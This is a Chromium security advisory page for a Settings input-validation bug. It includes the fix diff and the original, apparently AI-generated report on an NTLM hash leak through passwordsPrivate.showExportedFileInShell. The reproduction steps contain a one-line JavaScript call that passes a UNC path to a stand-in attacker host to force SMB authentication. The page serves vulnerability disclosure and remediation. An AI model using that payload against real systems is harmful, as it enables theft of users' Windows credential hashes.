Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient validation of untrusted input in Settings
DescriptionInsufficient validation of untrusted input in Settings
ComponentSettings
Bug ClassLogic Error
Tracker513490996
Fix commit678d2348b037 (chromium/src) +16/-6
CISA KEVNot listed
CreditedGoogle
Disclosed2026-06-30

Changed Functions

FunctionChangeNotes
if
chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc
modified

Files Changed

  • chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc
  • chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.h
From 678d2348b0371ec748b1fcadc4a07711e79a5dff Mon Sep 17 00:00:00 2001
From: Andrii Natiahlyi <[email protected]>
Date: Tue, 26 May 2026 10:41:27 -0700
Subject: [PATCH] Restrict showing exported password folder to the last successful export.

Fixed: 513490996
Change-Id: Ifd5159007b9dbfad6a5437744ce8e529929188ef
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7875566
Auto-Submit: Andrii Natiahlyi <[email protected]>
Reviewed-by: Viktor Semeniuk <[email protected]>
Commit-Queue: Viktor Semeniuk <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1636297}
---

diff --git a/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc b/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc
index 2f1f3357..1ccdb3c 100644
--- a/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc
+++ b/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc
@@ -983,12 +983,11 @@
   BrowserWindowInterface* browser =
       GlobalBrowserCollection::GetInstance()->FindBrowserWithTab(web_contents);
   DCHECK(browser);
-#if !BUILDFLAG(IS_WIN)
-  base::FilePath path(file_path);
-#else
-  base::FilePath path(base::UTF8ToWide(file_path));
-#endif
-  platform_util::ShowItemInFolder(browser->GetProfile(), path);
+  // TODO(b/516745102): Move this logic to PasswordExportController after
+  // splitting PasswordManagerPorter.
+  if (!last_exported_path_.empty()) {
+    platform_util::ShowItemInFolder(browser->GetProfile(), last_exported_path_);
+  }
 }
 
 void PasswordsPrivateDelegateImpl::ChangePasswordManagerPin(
@@ -1144,6 +1143,14 @@
 
 void PasswordsPrivateDelegateImpl::OnPasswordsExportProgress(
     const password_manager::PasswordExportInfo& progress) {
+  if (progress.status == password_manager::ExportProgressStatus::kSucceeded) {
+#if !BUILDFLAG(IS_WIN)
+    last_exported_path_ = base::FilePath(progress.file_path);
+#else
+    last_exported_path_ = base::FilePath(base::UTF8ToWide(progress.file_path));
+#endif
+  }
+
   PasswordsPrivateEventRouter* router =
       PasswordsPrivateEventRouterFactory::GetForProfile(profile_);
   if (router) {
diff --git a/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.h b/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.h
index e7b3f9b69..532ffbd 100644
--- a/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.h
+++ b/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.h
@@ -13,6 +13,7 @@
 #include <utility>
 #include <vector>
 
+#include "base/files/file_path.h"
 #include "base/functional/callback.h"
 #include "base/memory/raw_ptr.h"
 #include "base/memory/weak_ptr.h"
@@ -300,6 +301,8 @@
   // Used to control the export and import flows.
   std::unique_ptr<PasswordManagerPorterInterface> password_manager_porter_;
 
+  base::FilePath last_exported_path_;
+
   PasswordAccessAuthTimeoutHandler auth_timeout_handler_;
 
   PasswordCheckDelegate password_check_delegate_;
Loading diff…

Original Bug Report

reported by [email protected]

NTLM hash leak via unvalidated path in passwordsPrivate.showExportedFileInShell

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: The passwordsPrivate.showExportedFileInShell API incorrectly trusts a file path provided by the renderer process, passing it directly to the browser’s platform utilities. On Windows, this allows a compromised WebUI renderer to trigger outbound SMB connections, leading to NTLM credential leakage. The issue stems from a lack of validation of the file_path argument in the browser process.

Affected files:

  • chrome/browser/extensions/api/passwords_private/passwords_private_api.cc
  • chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc
  • chrome/common/extensions/api/passwords_private.idl
  • chrome/browser/platform_util_win.cc
  • components/password_manager/core/browser/export/password_manager_exporter.cc

Estimated timestamp from git blame: 2023-02-13

Summary

A potential vulnerability in the passwordsPrivate.showExportedFileInShell extension API allows a compromised WebUI renderer (such as chrome://settings or chrome://password-manager) to force the browser process to access arbitrary file paths. On Windows, this can be exploited to leak the user’s NTLM hashes by providing a remote UNC path.

Root Cause Analysis

The passwordsPrivate.showExportedFileInShell API is designed to open the file manager and select a previously exported password file. However, the implementation relies on the renderer to provide the file path, which the browser process then uses without verification.

In chrome/browser/extensions/api/passwords_private/passwords_private_api.cc, the Run() method extracts the file_path from the renderer-supplied arguments:

ResponseAction PasswordsPrivateShowExportedFileInShellFunction::Run() {
  // ...
  auto parameters =
      api::passwords_private::ShowExportedFileInShell::Params::Create(args());
  EXTENSION_FUNCTION_VALIDATE(parameters);
  GetDelegate(browser_context())
      ->ShowExportedFileInShell(GetSenderWebContents(), parameters->file_path);
  return RespondNow(NoArguments());
}

The file_path is passed to the delegate implementation in chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc, which calls platform_util::ShowItemInFolder:

void PasswordsPrivateDelegateImpl::ShowExportedFileInShell(
    content::WebContents* web_contents,
    std::string file_path) {
  // ...
#if !BUILDFLAG(IS_WIN)
  base::FilePath path(file_path);
#else
  base::FilePath path(base::UTF8ToWide(file_path));
#endif
  platform_util::ShowItemInFolder(browser->GetProfile(), path);
}

On Windows, platform_util::ShowItemInFolder (in chrome/browser/platform_util_win.cc) uses IShellFolder::ParseDisplayName on the provided path. If an attacker provides a UNC path (e.g., \\attacker-server\share\file.txt), the Windows Shell will attempt to resolve the path by initiating an outbound SMB connection to the remote server.

Potential Impact

  1. NTLM Credential Leakage (Windows): By forcing an SMB connection to an attacker-controlled server, the attacker can capture the user’s NetNTLMv2 hash. This can be done silently in the background without user interaction, as the API does not enforce a user gesture check in the browser process.
  2. Shell Extension Execution (Windows): Forcing Explorer to select a file on a remote share may trigger the loading of shell extensions (like icon handlers), potentially leading to code execution within the explorer.exe process (Medium integrity).
  3. Local Path Disclosure: On other platforms, the API could be used to reveal the existence of files or the contents of directories to an observer by opening the file manager at arbitrary locations.

Suggested Steps to Reproduce (Potential)

  1. Achieve script execution in a renderer process for chrome://settings (e.g., via a separate UXSS or WebUI vulnerability).
  2. From the JS console or an injected script, execute: chrome.passwordsPrivate.showExportedFileInShell("\\\\attacker.com\\share\\test.csv");
  3. Observe the outbound SMB connection and NTLM negotiation on the attacker-controlled server.

The API should be redesigned to remove the file_path parameter. The browser process (specifically the PasswordManagerExporter or the delegate) should maintain the authoritative state of the most recent export destination and use that internal path when the API is invoked, similar to how the downloads.show API operates.

Evaluated with Chrome root at commit: 1a8d40fc44df2088d5945c0bf53584038aa1614a


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there’s no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker